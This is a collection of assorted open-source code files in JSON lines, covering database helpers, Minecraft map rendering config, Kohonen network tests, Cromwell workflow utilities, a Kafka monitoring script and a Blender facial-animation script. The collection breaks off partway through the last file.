+{"seq_id":"337173081","text":"import pymongo\nfrom bson import ObjectId\n\nfrom database import database\nfrom database.collection import child\n\nc = \"parents\"\n\n\ndef create(list_name):\n with pymongo.MongoClient(\"localhost\") as client:\n collection = client[database][c]\n list_doc = {\n \"list_name\": list_name,\n \"instock\": ObjectId(child.create(\"InStock\")),\n \"outstock\": ObjectId(child.create(\"OutStock\")),\n \"shopstock\": ObjectId(child.create(\"ShopStock\"))\n }\n\n id_insert = collection.insert_one(list_doc)\n id_insert = id_insert.inserted_id\n return str(id_insert)\n\n\ndef list_parents():\n with pymongo.MongoClient(\"localhost\") as client:\n collection = client[database][c]\n\n find_ = []\n for parent in collection.find({}):\n x = {'list_name': parent['list_name'], 'id': str(parent['_id'])}\n\n find_.append(x)\n\n return find_\n","sub_path":"backend/stocklist-backend/database/collection/parent.py","file_name":"parent.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"257856799","text":"#functions\n\ndef average(prices):\n total = 0\n for price in prices:\n total = total + price\n avg = total/len(prices)\n return avg\n\n\n#making more functions\ndef print_menu(menu):\n for name, price in menu.items():\n print(name,': $', format(price, '.2f'), sep='')\n\n#adding main\ndef main():\n menu = {'Knackered Spam' : 0.50, 'Pip pip Spam' : 1.50}\n numbers = [1,2,3,4,5]\n my_average = average(numbers)\n print(my_average)\n print_menu(menu)\n\n\nmain()\n ","sub_path":"main4.py","file_name":"main4.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"374519663","text":"# Calling syntax: nodesetpoint.py [MQTT server address]\nfrom __future__ import division, print_function\nimport numpy as np\nimport sys\nfrom obnpy.obnnode import *\n\nnode = None # This will be the node object\nsetpoint = 0.0 # The current setpoint value\n\ndef initNode(): # Init callback\n global setpoint\n setpoint = 0.0 # Reset the setpoint value\n\ndef outputSetpoint(): # Change and send the setpoint\n global setpoint, node\n setpoint = np.random.randint(-100, 101) / 10.0\n node.output_ports[\"sp\"].set(setpoint)\n\ndef main():\n if len(sys.argv) < 2:\n server = 'tcp://localhost:1883'\n else:\n server = sys.argv[1]\n\n global node\n node = OBNNode(\"sp\", \"test2\", server) # Create a node\n\n node.create_output(\"sp\", \"scalar\", \"double\") # The setpoint output\n\n node.on_init(initNode)\n node.on_term(lambda: print(\"Setpoint node terminated.\"))\n\n MAINBLOCK = 0\n node.on_block_output(outputSetpoint, MAINBLOCK)\n\n print(\"Ready to run the setpoint node; please start all other nodes ...\")\n status = node.run(60)\n print(\"Simulation stopped with status = {}\".format(status))\n\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"tests/test2/nodesetpoint.py","file_name":"nodesetpoint.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"38122091","text":"class Solution:\n def numSpecialEquivGroups(self, A: List[str]) -> int:\n \n if not A:\n return 0\n\n length = len(A[0])\n words = set()\n for a in A:\n odd = []\n even = []\n isEven = True\n for index in range(length):\n if isEven:\n even.append(a[index])\n else:\n odd.append(a[index])\n isEven = not isEven\n words.add(''.join(sorted(odd) + sorted(even)))\n return len(words)\n","sub_path":"leetcode_solutions/groups_of_special_equivalent_strings.py","file_name":"groups_of_special_equivalent_strings.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"324488826","text":"import os\n\nworlds[\"world\"] = os.environ['WORLD_DIR']\n\ndef signFilter(poi):\n if poi['id'] == 'Sign':\n return \"\\n\".join([poi['Text1'], poi['Text2'], poi['Text3'], poi['Text4']])\n\ndef playerIcons(poi):\n if poi['id'] == 'Player':\n poi['icon'] = \"http://overviewer.org/avatar/%s\" % poi['EntityId']\n return \"Last known location for %s\" % poi['EntityId']\n\ndef chestFilter(poi):\n if poi['id'] == \"Chest\":\n return (\"Chest\", \"Chest with %d items\" % len(poi['Items']))\n\ndef diamondFilter(poi):\n if poi['id'] == \"Diamond Ore\":\n return (\"Chest\", \"Big Buggs\")\n\nmarkers = [\n dict(name=\"Signs\", filterFunction=signFilter),\n dict(name=\"Players\", filterFunction=playerIcons, checked=True)\n ]\n\n# I flipped what's considered reversed sorry\nrenders[\"overworld_reverse\"] = {\n \"world\": \"world\",\n \"title\": \"Overworld\",\n \"rendermode\": smooth_lighting,\n \"dimension\": \"overworld\",\n \"northdirection\" : \"lower-left\",\n 'markers': markers,\n \"optimizeimg\" : 1\n}\n\nrenders[\"overworld_day\"] = {\n \"world\": \"world\",\n \"title\": \"Overworld (reverse)\",\n \"rendermode\": smooth_lighting,\n \"dimension\": \"overworld\",\n \"northdirection\" : \"upper-right\",\n 'markers': markers,\n \"optimizeimg\" : 1\n}\n\n\nrenders[\"caves\"] = {\n \"world\": \"world\",\n \"title\": \"Caves\",\n \"rendermode\": cave,\n \"dimension\": \"overworld\",\n \"northdirection\" : \"lower-left\",\n 'markers': markers,\n \"optimizeimg\" : 1\n}\n\nrenders[\"nether\"] = {\n \"world\": \"world\",\n \"title\": \"Nether\",\n \"rendermode\": nether_lighting,\n \"dimension\": \"nether\",\n \"northdirection\" : \"upper-right\",\n 'markers': markers,\n \"optimizeimg\" : 1\n}\n\nrenders['biome_overlay'] = {\n 'world': 'world',\n 'rendermode': [ClearBase(), BiomeOverlay()],\n \"northdirection\" : \"lower-left\",\n 'title': \"Biomes\",\n 'overlay': ['overworld_reverse'],\n \"optimizeimg\" : 1,\n \"dimension\": \"overworld\"\n}\n\nrenders['slime_overlay'] = {\n 'world': 'world',\n 'rendermode': [ClearBase(), SlimeOverlay()],\n \"northdirection\" : \"lower-left\",\n 'title': \"Slime\",\n 'overlay': ['overworld_reverse'],\n \"optimizeimg\" : 1,\n \"dimension\": \"overworld\"\n}\n\nrenders['mineral_overlay'] = {\n 'world': 'world',\n 'rendermode': [ClearBase(), MineralOverlay()],\n \"northdirection\" : \"lower-left\",\n 'title': \"Minerals\",\n 'overlay': ['overworld_reverse'],\n \"optimizeimg\" : 1,\n \"dimension\": \"overworld\"\n}\n\noutputdir = os.environ['MAP_DIR']","sub_path":"config/overviewer_config.py","file_name":"overviewer_config.py","file_ext":"py","file_size_in_byte":2466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"191098014","text":"\"\"\"\r\n\n\nGiven a list of integers, find the pair of adjacent elements that have the\nlargest product and return that product.\n\n### Examples\n\n adjacent_product([3, 6, -2, -5, 7, 3] ) ➞ 21\n \n adjacent_product([5, 6, -4, 2, 3, 2, -23]) ➞ 30\n \n adjacent_product([0, -1, 1, 24, 1, -4, 8, 10]) ➞ 80\n\n### Notes\n\nEach list has at least two elements.\n\n\"\"\"\r\n\ndef adjacent_product(lst):\n \n for i in range(len(lst)-1):\n if i == 0:\n highest = lst[i] * lst[i+1]\n elif lst[i] * lst[i+1] > highest:\n highest = lst[i] * lst[i+1]\n \n return highest\n\n","sub_path":"DJa7PoKDhTTmwnxJg_15.py","file_name":"DJa7PoKDhTTmwnxJg_15.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"597368807","text":"import numpy as np\n\nfrom neupy.layers import LinearLayer, CompetitiveOutputLayer\nfrom neupy import algorithms\n\nfrom base import BaseTestCase\n\n\ninput_data = np.array([\n [0.1961, 0.9806],\n [-0.1961, 0.9806],\n [0.9806, 0.1961],\n [0.9806, -0.1961],\n [-0.5812, -0.8137],\n [-0.8137, -0.5812],\n])\n\n\nclass KohonenTestCase(BaseTestCase):\n def setUp(self):\n super(KohonenTestCase, self).setUp()\n weight = np.array([\n [0.7071, 0.7071, -1.0000],\n [-0.7071, 0.7071, 0.0000],\n ])\n input_layer = LinearLayer(2, weight=weight)\n output_layer = CompetitiveOutputLayer(3)\n self.conn = input_layer > output_layer\n\n def test_kohonen_success(self):\n kh = algorithms.Kohonen(self.conn, step=0.5, verbose=False)\n\n # test one iteration update\n data = np.reshape(input_data[0, :], (1, input_data.shape[1]))\n kh.train(data, epochs=1)\n self.assertTrue(np.all(\n kh.input_layer.weight == np.array([\n [0.7071, 0.4516, -1.0000],\n [-0.7071, 0.84385, 0.0000],\n ])\n ))\n\n def test_train_different_inputs(self):\n self.assertInvalidVectorTrain(\n algorithms.Kohonen(\n LinearLayer(1) > CompetitiveOutputLayer(2),\n step=0.5,\n verbose=False\n ),\n np.array([1, 2, 3])\n )\n\n def test_predict_different_inputs(self):\n knet = algorithms.Kohonen(\n LinearLayer(1) > CompetitiveOutputLayer(2),\n step=0.5,\n verbose=False,\n )\n\n data = np.array([[1, 1, 1]]).T\n target = np.array([\n [1, 0],\n [1, 0],\n [1, 0],\n ])\n\n knet.train(data, epochs=100)\n self.assertInvalidVectorPred(knet, data.ravel(), target,\n decimal=2)\n","sub_path":"tests/associative/test_kohonen.py","file_name":"test_kohonen.py","file_ext":"py","file_size_in_byte":1895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"618508131","text":"from enum import Enum, auto\n\n\nclass SlotTypes(Enum):\n WEAPON = auto()\n ARMOR = auto()\n\n\nclass Slots:\n def __init__(self, slot_dict=None):\n if slot_dict:\n self.slot_dict = slot_dict\n else:\n self.slot_dict = {}\n for slot_type in SlotTypes:\n self.slot_dict[slot_type] = None\n\n @property\n def max_hp_bonus(self):\n bonus = 0\n\n for item in self.slot_dict.values():\n if item:\n bonus += item.equipment.max_hp_bonus\n\n return bonus\n\n @property\n def attack_bonus(self):\n bonus = 0\n\n for item in self.slot_dict.values():\n if item:\n bonus += item.equipment.attack_bonus\n\n return bonus\n\n @property\n def defense_bonus(self):\n bonus = 0\n\n for item in self.slot_dict.values():\n if item:\n bonus += item.equipment.defense_bonus\n\n return bonus\n\n @property\n def damage_bonus(self):\n bonus = 0\n\n for item in self.slot_dict.values():\n if item:\n bonus += item.equipment.damage_bonus\n\n return bonus\n\n\n def toggle_equip(self, item):\n if not item.equipment:\n return False\n\n results = {}\n\n slot = item.equipment.slot\n equipped = self.slot_dict.get(slot)\n\n if equipped:\n if equipped is item:\n self.slot_dict[slot] = None\n results['unequipped'] = item\n else:\n results['unequipped'] = equipped\n self.slot_dict[slot] = item\n results['equipped'] = item\n else:\n self.slot_dict[slot] = item\n results['equipped'] = item\n\n return results\n\n def is_equipped(self, item):\n if not item.equipment:\n return False\n return item is self.slot_dict.get(item.equipment.slot)\n","sub_path":"src/components/slots.py","file_name":"slots.py","file_ext":"py","file_size_in_byte":1919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"272919020","text":"\"\"\"This module contains utility functions and classes of listener.\n\"\"\"\nimport json\nimport logging\nfrom cromwell_tools import cromwell_tools\nfrom flask import make_response\nfrom urllib.parse import urlparse\nfrom collections import namedtuple\nfrom requests_http_signature import HTTPSignatureAuth\nimport hashlib\nimport base64\nimport email.utils\nfrom datetime import datetime, timedelta, timezone\n\n\nlogger = logging.getLogger('lira.{module_path}'.format(module_path=__name__))\n\n\ndef response_with_server_header(body, status):\n \"\"\"Add information of server to header.We are doing this to overwrite the default flask Server header. The\n default header is a security risk because it provides too much information about server internals.\n\n :param obj body: HTTP response body content that is JSON-serializable.\n :param int status: HTTP response status code.\n :return flask.wrappers.Response response: HTTP response with information of server in header.\n \"\"\"\n response = make_response(json.dumps(body, indent=2) + '\\n', status)\n response.headers['Server'] = 'Secondary Analysis Service'\n response.headers['Content-type'] = 'application/json'\n return response\n\n\ndef is_authenticated(request, config):\n \"\"\"Check if message is authentic.\n\n Args:\n request: The request object\n config (LiraConfig): Lira's configuration\n\n Returns:\n True if message verifiably came from storage service, else False.\n \"\"\"\n if hasattr(config, 'hmac_key'):\n return _is_authenticated_hmac(request, config.hmac_key, config.stale_notification_timeout)\n else:\n return _is_authenticated_query_param(request.args, config.notification_token)\n\n\ndef _is_authenticated_hmac(request, hmac_key, stale_notification_timeout=0):\n \"\"\"Check if message is authentic\n\n Args:\n request: the request object\n hmac_key (bytes): the hmac key\n stale_notification_timeout (int): timeout beyond which we refuse to accept the message,\n even if everything else checks out\n\n Returns:\n True if message is verifiably from the storage service, False otherwise\n \"\"\"\n # Since we use the same key and algorithm for all subscriptions,\n # we will always try to verify notifications with that one.\n def key_resolver(key_id, algorithm):\n return hmac_key\n\n try:\n # Make sure there's an auth header with a valid signature\n auth_header = request.headers.get('Authorization')\n if auth_header and 'date' not in auth_header:\n raise AssertionError('No date in auth header: {0}'.format(auth_header))\n HTTPSignatureAuth.verify(request, key_resolver=key_resolver)\n\n # Make sure notification isn't too old\n _check_date(request.headers.get('Date'), stale_notification_timeout)\n\n # Make sure given body digest and calculated digest match\n digest_from_header = request.headers.get('Digest')\n calculated_digest = _calculate_digest(request)\n if calculated_digest != digest_from_header:\n logger.error('Auth error: digests do not match')\n return False\n return True\n except AssertionError as e:\n logger.error('Auth error: {0}'.format(e))\n return False\n\n\ndef _check_date(date_header, stale_notification_timeout):\n \"\"\"Verify that there is a date header and the message isn't too old.\n\n Args:\n date_header (str): timestamp indicating date/time message was sent\n stale_notification_timeout (int): message age in seconds beyond which we refuse to accept it\n\n Raises:\n AssertionError if there is no date header or the message is too old\n \"\"\"\n if not date_header:\n raise AssertionError('No date header')\n datetime_from_header = email.utils.parsedate_to_datetime(date_header)\n diff = datetime.now(timezone.utc) - datetime_from_header\n if diff > timedelta(seconds=stale_notification_timeout) and stale_notification_timeout > 0:\n raise AssertionError('Message is more than {0} seconds old'.format(stale_notification_timeout))\n\n\ndef _calculate_digest(request):\n \"\"\"Calculate the digest of the request body and make a string of the type\n expected by the requests-http-signature library.\n\n Args:\n request: the request object\n\n Returns:\n (str) containing digest\n \"\"\"\n raw_digest = hashlib.sha256(request.get_data()).digest()\n digest_string = \"SHA-256=\" + base64.b64encode(raw_digest).decode()\n return digest_string\n\n\ndef _is_authenticated_query_param(params, token):\n return params.get('auth') == token\n\n\ndef extract_uuid_version_subscription_id(msg):\n \"\"\"Extract uuid, version, subscription_id from message.\n\n :param dict msg: A dictionary of message contains bundle information.\n :return str uuid: uuid of the bundle.\n :return str version: version of the bundle.\n :return str subscription_id: subscription id of the bundle.\n \"\"\"\n uuid = msg[\"match\"][\"bundle_uuid\"]\n version = msg[\"match\"][\"bundle_version\"]\n subscription_id = msg[\"subscription_id\"]\n return uuid, version, subscription_id\n\n\ndef compose_inputs(workflow_name, uuid, version, lira_config):\n \"\"\"Create Cromwell inputs file containing bundle uuid and version.\n\n Args:\n workflow_name (str): The name of the workflow.\n uuid (str): uuid of the bundle.\n version (str): version of the bundle.\n lira_config (LiraConfig): Lira configuration\n\n Returns:\n A dictionary of workflow inputs.\n \"\"\"\n return {\n workflow_name + '.bundle_uuid': uuid,\n workflow_name + '.bundle_version': version,\n workflow_name + '.runtime_environment': lira_config.env,\n workflow_name + '.dss_url': lira_config.dss_url,\n workflow_name + '.submit_url': lira_config.ingest_url,\n workflow_name + '.use_caas': lira_config.use_caas\n }\n\n\ndef compose_caas_options(cromwell_options_file, lira_config):\n \"\"\" Append options for using Cromwell-as-a-service to the default options.json file in the wdl config.\n\n Args:\n cromwell_options_file (str): Contents of the options.json file in the wdl config\n lira_config (LiraConfig): Lira configuration\n\n Returns:\n A dictionary of workflow outputs.\n \"\"\"\n options_file = cromwell_options_file\n if isinstance(options_file, bytes):\n options_file = cromwell_options_file.decode()\n options_json = json.loads(options_file)\n\n with open(lira_config.caas_key) as f:\n caas_key = f.read()\n options_json.update({\n 'jes_gcs_root': lira_config.gcs_root,\n 'google_project': lira_config.google_project,\n 'user_service_account_json': caas_key\n })\n return options_json\n\n\ndef parse_github_resource_url(url):\n \"\"\"Parse a URL which describes a resource file on Github.\n\n A valid URL here means either a valid url to a file on Github, either in raw format or not. For example,\n both https://github.com/HumanCellAtlas/lira/blob/master/README.md and\n https://raw.githubusercontent.com/HumanCellAtlas/lira/master/README.md are valid github resource URL here.\n\n :param str url: A valid URL which describes a resource file on Github.\n\n :return collections.namedtuple: A namedtuple with information about: URI scheme, netloc,\n owner(either User or Organization), repo, version(either git tags or branch name), path, file.\n\n :raises ValueError: Raise a ValueError when the input URL is invalid.\n \"\"\"\n if url.startswith('git@') or url.endswith('.git'):\n raise ValueError('{} is not a valid url to a resource file on Github.'.format(url))\n\n ParseResult = namedtuple('ParseResult', 'scheme netloc owner repo version path file')\n\n intermediate_result = urlparse(url)\n scheme, netloc, path_array = intermediate_result.scheme, intermediate_result.netloc,\\\n intermediate_result.path.split('/')\n\n if netloc == 'github.com':\n owner, repo, version, file = path_array[1], path_array[2], path_array[4], path_array[-1]\n path = '/'.join(path_array[5:])\n elif netloc == 'raw.githubusercontent.com':\n owner, repo, version, file = path_array[1], path_array[2], path_array[3], path_array[-1]\n path = '/'.join(path_array[4:])\n else:\n owner = repo = version = path = file = None\n return ParseResult(scheme=scheme, netloc=netloc, owner=owner, repo=repo, version=version, path=path, file=file)\n\n\ndef legalize_cromwell_labels(label):\n \"\"\"Legalize invalid labels so that they can be accepted by Cromwell.\n\n Note: This is a very temporary solution, once Cromwell is more permissive on labels, this function should be\n deprecated right away. This function will convert integers to strings, all Upper letters to lower letters,\n replace all '_' to '-', replace all '.' to '-', and replace all ':' to '-'.\n\n :param str label: A string of key/value of labels need to be legalized.\n\n :return str: A converted, uglified but legal version of label.\n \"\"\"\n return label.lower().replace('_', '-').replace('.', '-').replace(':', '-')\n\n\ndef compose_labels(workflow_name, workflow_version, bundle_uuid, bundle_version, extra_labels=None):\n \"\"\"Create Cromwell labels object containing pre-defined labels and possible extra labels.\n\n The pre-defined workflow labels are: workflow_name, workflow_version, bundle_uuid, bundle_version.\n This function also accepts dictionary as extra labels.\n\n :param str workflow_name: The name of the workflow.\n :param str workflow_version: Version of the workflow.\n :param str bundle_uuid: Uuid of the bundle.\n :param str bundle_version: Version of the bundle.\n :param dict extra_labels: A dictionary of extra labels.\n\n :return dict: A dictionary of composed workflow labels.\n \"\"\"\n workflow_labels = {\n \"workflow-name\": legalize_cromwell_labels(workflow_name),\n \"workflow-version\": legalize_cromwell_labels(workflow_version),\n \"bundle-uuid\": legalize_cromwell_labels(bundle_uuid),\n \"bundle-version\": legalize_cromwell_labels(bundle_version)\n }\n if isinstance(extra_labels, dict):\n extra_labels = {legalize_cromwell_labels(k): legalize_cromwell_labels(v) for k, v in extra_labels.items()}\n workflow_labels.update(extra_labels)\n\n return workflow_labels\n\n\ndef noop_lru_cache(maxsize=None, typed=False):\n \"\"\"Decorator that serves as a mock of the functools.lru_cache decorator, which\n is only available in Python 3. We use this mock as a placeholder in Python 2\n to avoid blowing up when the real decorator isn't available. It merely\n calls through to the decorated function and provides a dummy cache_info()\n function.\n \"\"\"\n def cache_info():\n return 'No cache info available. Cache is disabled.'\n\n def cache_clear():\n pass\n\n def real_noop_lru_cache(fn):\n def wrapper(*args, **kwargs):\n return fn(*args, **kwargs)\n wrapper.cache_info = cache_info\n wrapper.cache_clear = cache_clear\n return wrapper\n return real_noop_lru_cache\n\n\ndef create_prepare_submission_function(cache_wdls):\n \"\"\"Returns decorated prepare_submission function. Decorator is determined as follows:\n Python 2: Always decorate with noop_lru_cache, since functools.lru_cache is not available in 2.\n Python 3: Use functools.lru_cache if cache_wdls is true, otherwise use noop_lru_cache.\"\"\"\n\n # Use noop_lru_cache unless cache_wdls is true and functools.lru_cache is available\n lru_cache = noop_lru_cache\n if not cache_wdls:\n logger.info('Not caching wdls because Lira is configured with cache_wdls false')\n else:\n try:\n from functools import lru_cache\n except ImportError:\n logger.info('Not caching wdls because functools.lru_cache is not available in Python 2.')\n\n @lru_cache(maxsize=None)\n # Setting maxsize to None here means each unique call to prepare_submission (defined by parameters used)\n # will be added to the cache without evicting any other items. Additional non-unique calls\n # (parameters identical to a previous call) will read from the cache instead of actually\n # calling this function. This means that the function will be called no more than once for\n # each wdl config, but we can have arbitrarily many wdl configs without running out of space\n # in the cache.\n def prepare_submission(wdl_config, submit_wdl):\n \"\"\"Load into memory all static data needed for submitting a workflow to Cromwell\"\"\"\n\n # Read files into memory\n wdl_file = cromwell_tools.download(wdl_config.wdl_link)\n wdl_static_inputs_file = cromwell_tools.download(wdl_config.wdl_static_inputs_link)\n options_file = cromwell_tools.download(wdl_config.options_link)\n\n # Create zip of analysis and submit wdls\n url_to_contents = cromwell_tools.download_to_map(wdl_config.analysis_wdls + [submit_wdl])\n wdl_deps_dict = url_to_contents\n\n return CromwellSubmission(wdl_file, wdl_static_inputs_file, options_file, wdl_deps_dict)\n\n return prepare_submission\n\n\nclass CromwellSubmission(object):\n \"\"\"Holds static data needed for submitting a workflow to Cromwell, including\n the top level wdl file, the static inputs json file, the options file,\n and the dependencies zip file.\n \"\"\"\n\n def __init__(self, wdl_file, wdl_static_inputs_file=None, options_file=None, wdl_deps_dict=None):\n self.wdl_file = wdl_file\n self.wdl_static_inputs_file = wdl_static_inputs_file\n self.options_file = options_file\n self.wdl_deps_dict = wdl_deps_dict\n","sub_path":"lira/lira_utils.py","file_name":"lira_utils.py","file_ext":"py","file_size_in_byte":13592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"310594120","text":"import requests\nimport traceback\nimport json\nimport os\nimport sys\n\nlang = sys.argv[1]\n# print('lang', lang)\ntest_dir = sys.argv[2]\noutput_dir = os.path.join(test_dir, 'output', 'entity')\nif not os.path.exists(output_dir):\n os.makedirs(output_dir, exist_ok=True)\n\nltf_dir = os.path.join(test_dir, 'ltf')\nrsd_dir = os.path.join(test_dir, 'rsd')\n\nfor en_ltf_file in os.listdir(ltf_dir):\n doc_id = en_ltf_file.replace('.ltf.xml', '')\n # print(doc_id)\n en_ltf_str = open(os.path.join(ltf_dir, doc_id+'.ltf.xml'), 'r').read()\n en_rsd_str = open(os.path.join(rsd_dir, doc_id+'.rsd.txt'), 'r').read()\n\n ans = requests.post(\n 'http://0.0.0.0:5500/tagging',\n data={\n 'ltf': en_ltf_str,\n 'rsd': en_rsd_str,\n 'doc_id': doc_id,\n 'lang': lang\n }\n )\n\n # print(ans.status_code)\n # print('ans.text', ans.text)\n\n ans = json.loads(ans.text)\n with open(os.path.join(output_dir, 'all.bio'), 'a') as writer:\n writer.write(ans['bio'])\n with open(os.path.join(output_dir, 'all.tab'), 'a') as writer:\n writer.write(ans['tab'])\n with open(os.path.join(output_dir, 'all.tsv'), 'a') as writer:\n writer.write(ans['tsv'])\n # print('bio')\n # print(ans['bio'])\n # print('tab')\n # print(ans['tab'])\n # print('tsv')\n # print(ans['tsv'])\n\n\n\n\n","sub_path":"gaia_text_ie_m18/system/test/test_entity.py","file_name":"test_entity.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"203379854","text":"from selenium import webdriver\nurl = \"http://www.dytt8.net/html/gndy/rihan/list_6_3.html\"\nbroswer = webdriver.Firefox()\nbroswer.get(url)\npage = broswer.page_source\nprint(page)\ncss_selector = broswer.find_elements_by_tag_name(\"a\")\nfor i in css_selector:\n print(i)\n\n","sub_path":"selenium_11_16/sele_1.py","file_name":"sele_1.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"323146425","text":"# def get_magic_triangle(n):\n# triangle = [[1], [1, 1]]\n# for row in range(2, n):\n# new_row = []\n# for col in range(0, row + 1):\n# if col == 0 or col == row:\n# new_row.append(1)\n# else:\n# upper_left = triangle[row - 1] [col - 1]\n# upper_right = triangle[row - 1][col]\n# new_value = upper_left + upper_right\n# new_row.append(new_value)\n# triangle.append(new_row)\n#\n# return triangle\n#\n# print(get_magic_triangle(5))\n\ndef get_magic_triangle(n):\n triangle = [[1] * row for row in range(1, n + 1)]\n for row in range(2, n):\n for col in range(1, row):\n triangle[row][col] = triangle[row - 1][col - 1] + triangle[row - 1][col]\n return triangle\n\nprint(get_magic_triangle(5))\n","sub_path":"Advanced level/Advanced/Examp_Preparation - Sep 2020/09. Magic Triangle.py","file_name":"09. Magic Triangle.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"279198426","text":"from time import sleep\nfrom json import dumps\nfrom kafka import KafkaProducer\nimport subprocess\n\nproducer = KafkaProducer(bootstrap_servers=['localhost:9092'])\n\n\nfrom kafka import KafkaConsumer\n\ndef consume_message(topic,server_id):\n\tconsumer = KafkaConsumer(topic)\n\tfor mess in consumer:\n\t\tkey=str(mess.key.decode())\n\t\tvalue=str(mess.value.decode())\n\t\tif(key==server_id):\n\t\t\tbreak\n\treturn value\n\n\nfrom sys import argv\nimport psutil\nimport threading \nfrom time import sleep\nfrom datetime import datetime\nfrom random import randint\n\n#list_of_services=['service1.py','service2.py','service3.py']\nservices=[]\nservice_status={}\n\nimport os\ndef start_service(service_name):\n\tos.system(\"python3 \"+service_name)\n\n\ndef send_server_stats(producer,server_id):\n\tprint(\"Server id : \",server_id,\" Started\")\n\t#msg=str(utilization['cpu'])+\"|\"+str(utilization['ram'])+\"|\"+utilization['time']\n\twhile(True):\n\t\tcpu=randint(1,100)\n\t\tram=randint(1,100)\n\t\tutilization=get_system_utilization()\n\t\tmsg_service=\"\"\n\t\tfor service in services:\n\t\t\tmsg_service=msg_service+service[1]+\";\"\n\t\tmsg=str(cpu)+\"|\"+str(ram)+\"|\"+utilization['time']+\"|\"+msg_service\n\t\tproducer.send('Servers',key=bytes(str(server_id), 'utf8'),value=bytes(str(msg), 'utf8'))\n\t\tprint(\"Sent to Server lifecycle manager : \",msg)\n\t\tsleep(30)\n\n\n\ndef get_system_utilization():\n utilization = {}\n utilization['cpu'] = psutil.cpu_percent()\n stats = dict(psutil.virtual_memory()._asdict())\n utilization['ram'] = stats['used'] * 100.0 / stats['total']\n now = datetime.now()\n utilization['time']=str(now)\n # print(\"Time : \",utilization['time'])\n # print(\"CPU : \",utilization['cpu'])\n # print(\"RAM : \",utilization['ram'])\n return utilization\n\nif __name__ == '__main__':\n\tprint(argv)\n\tt1 = threading.Thread(target=send_server_stats, args=(producer,argv[1])) \n\tt1.start() \n\n\t# for service in services:\n\t# \tstart_service(service)\n\n\twhile(True):\n\t\tprint(\"------>\\n\")\n\t\t#inp=input()\n\t\tmsg=consume_message('ServiceToServer',argv[1])\n\t\tprint(msg)\n\t\tss=threading.Thread(target=start_service, args=(msg,)) \n\t\tss.start()\n\t\tservices.append([ss,msg])\n\n\tt1.join() \n\tprint(\"Bye!\") \n\t\n\n","sub_path":"Server_lifecycle/server_stat.py","file_name":"server_stat.py","file_ext":"py","file_size_in_byte":2130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"359463657","text":"#========================== ReadCSVdata.py ==================================\n# This script reads timecourse data from the specified CSV files (previously extracted from video clips) \n# and applies it to keyframes of the appropriate bones/ shape keys. CSV file should contain\n# N columns, each with a header row containing the string of the Blender scene bone/ shape key to\n# apply to. The first column should contain timestamps (seconds).\n#\n#\n# 05/08/2018 - Written by murphyap@nih.gov\n#=============================================================================\n\nimport bpy\nimport csv\nimport math\nimport mathutils as mu\nimport os\nfrom sys import platform\nimport numpy as np\n\nfrom bpy_extras.io_utils import ImportHelper\n\n#============== Update head angle\ndef HeadLookAt(El, Az):\n Rad = 1\n Z = np.cos(math.radians(Az))*np.cos(math.radians(El))*-Rad\n X = np.sin(math.radians(Az))*np.cos(math.radians(El))*Rad\n Y = np.sin(math.radians(El))*Rad\n HeadXYZ = mu.Vector((X, Y, Z))\n return HeadXYZ\n\n\n#======================= LOAD DATA\nif platform == \"linux\":\n Prefix = '/projects/'\nelif platform == \"darwin\":\n Prefix = '/Volumes/projects/'\nelif platform == \"win32\":\n Prefix = 'P:/'\n\nDataFile = 'BE_Coo_mov53' # Name of video clip used\nIsCoo = 1 # Is the main facial expression a 'coo' face?\nLoadOrigMovie = 0 # Render original movie to a plane in the scene?\n\nDataDir = Prefix + 'murphya/MacaqueFace3D/Macaque_video/ExtractedParams/'\nOutputDir = Prefix + 'murphya/MacaqueFace3D/Macaque_video/RenderedFrames/' + DataFile + '/'\nMovieFile = Prefix + 'murphya/MacaqueFace3D/Macaque_video/OriginalMovies/' + DataFile + '.mpg'\nDataFull = DataDir + DataFile + '.csv'\nif os.path.exists(OutputDir) ==0:\n os.mkdir(OutputDir)\n\nwith open(DataFull, \"rt\") as csvfile:\n reader = csv.reader(csvfile) \n AllData = list(reader)\n \ncsvfile.close()\n\n#============== Set parameters\nBoneNames = ['blink', 'Kiss', 'jaw', 'ears', 'Fear', 'yawn', 'eyebrow', 'HeadTracker']\nBoneVectorIndx = [2, 1, 2, 1, 1, 2, 2, 1]\nBoneDirection = [1, 1, 1, -1, -1, 1, -1, -1]\nBoneWeight = [0.007, 0.04, 0.02, 0.04, 0.02, 0.02, 0.02, 1] \nBoneOffset = [0, 0, 0, 0.02, 0, 0, 0, 0]\nHeadAzimuths = [-60, -30, 0, 30, 60]\n\n# #======= Set primary expression\n# bpy.ops.object.mode_set(mode='POSE')\n# head.pose.bones['yawn'].location = mu.Vector((0,0,0.02*ExpWeights[exp,3])) # Wide mouthed 'yawn' expression\n# head.pose.bones['Kiss'].location = mu.Vector((0,0.04*ExpWeights[exp,2],0)) # Pursed lip 'coo' expression\n# head.pose.bones['jaw'].location = mu.Vector((0,0,0.02*ExpWeights[exp,1])) # Open-mouthed 